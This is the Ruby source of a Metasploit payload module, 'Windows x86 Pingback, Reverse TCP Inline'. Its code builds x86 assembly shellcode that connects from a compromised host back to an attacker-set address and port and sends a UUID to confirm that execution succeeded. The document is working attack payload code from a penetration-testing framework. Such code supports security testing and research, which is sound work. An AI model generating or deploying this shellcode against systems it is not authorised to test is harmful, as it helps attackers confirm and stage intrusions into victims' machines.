Path: blob/master/modules/payloads/singles/windows/pingback_reverse_tcp.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 30778include Msf::Payload::Windows9include Msf::Payload::Single10include Msf::Payload::Pingback11include Msf::Payload::Windows::BlockApi12include Msf::Payload::Pingback::Options13include Msf::Payload::Windows::Exitfunk1415def initialize(info = {})16super(17merge_info(18info,19'Name' => 'Windows x86 Pingback, Reverse TCP Inline',20'Description' => 'Connect back to attacker and report UUID (Windows x86)',21'Author' => [ 'bwatters-r7' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X86,25'Handler' => Msf::Handler::ReverseTcp,26'Session' => Msf::Sessions::Pingback27)28)29end3031def required_space32# Start with our cached default generated size33space = cached_size3435# EXITFUNK 'seh' is the worst case, that adds 15 bytes36space += 153738space39end4041def generate(_opts = {})42encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')43encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')44retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max45pingback_count = datastore['PingbackRetries']46pingback_sleep = datastore['PingbackSleep']47self.pingback_uuid ||= generate_pingback_uuid48uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')49conf = { exitfunk: datastore['EXITFUNC'] }5051asm = %^52cld ; Clear the direction flag.53call start ; Call start, this pushes the address of 'api_call' onto the stack.54#{asm_block_api}55start:56pop ebp57; Input: EBP must be the address of 'api_call'.58; Output: EDI will be the socket for the connection to the server59; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)60reverse_tcp:61push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.62push 'ws2_' ; ...63push esp ; Push a pointer to the "ws2_32" string on the stack.64push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}65mov eax, ebp66call eax ; LoadLibraryA( "ws2_32" )6768mov eax, 0x0190 ; EAX = sizeof( struct WSAData )69sub esp, eax ; alloc some space for the WSAData structure70push esp ; push a pointer to this struct71push eax ; push the wVersionRequested parameter72push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}73call ebp ; WSAStartup( 0x0190, &WSAData );7475set_address:76push #{pingback_count} ; retry counter77push #{retry_count} ; retry counter78push #{encoded_host} ; host in little-endian format79push #{encoded_port} ; family AF_INET and port number80mov esi, esp ; save pointer to sockaddr struct8182create_socket:83push eax ; if we succeed, eax will be zero, push zero for the flags param.84push eax ; push null for reserved parameter85push eax ; we do not specify a WSAPROTOCOL_INFO structure86push eax ; we do not specify a protocol87inc eax ;88push eax ; push SOCK_STREAM89inc eax ;90push eax ; push AF_INET91push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}92call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );93xchg edi, eax ; save the socket for later, don't care about the value of eax after this9495try_connect:96push 16 ; length of the sockaddr struct97push esi ; pointer to the sockaddr struct98push edi ; the socket99push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}100call ebp ; connect( s, &sockaddr, 16 );101102test eax,eax ; non-zero means a failure103jz connected104105handle_connect_failure:106; decrement our attempt count and try again107dec dword [esi+8]108jnz try_connect109failure:110call exitfunk111; this label is required so that reconnect attempts include112; the UUID stuff if required.113connected:114send_pingback:115push 0 ; flags116push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID117call get_pingback_address ; put pingback_uuid buffer on the stack118db #{uuid_as_db} ; PINGBACK_UUID119get_pingback_address:120push edi ; saved socket121push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}122call ebp ; call send123124cleanup_socket:125; clear up the socket126push edi ; socket handle127push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}128call ebp ; closesocket(socket)129^130if pingback_count > 0131asm << %^132mov eax, [esi+12]133test eax, eax ; pingback counter134jz exitfunk135dec [esi+12]136sleep:137push #{pingback_sleep * 1000}138push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}139call ebp ;sleep(pingback_sleep * 1000)140jmp create_socket141^142end143asm << %(144; restore the stack back to the connection retry count145dec [esi+8] ; decrement the retry counter146jmp exitfunk147; try again148jnz create_socket149jmp failure150)151if conf[:exitfunk]152asm << asm_exitfunk(conf)153end154Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string155end156end157158159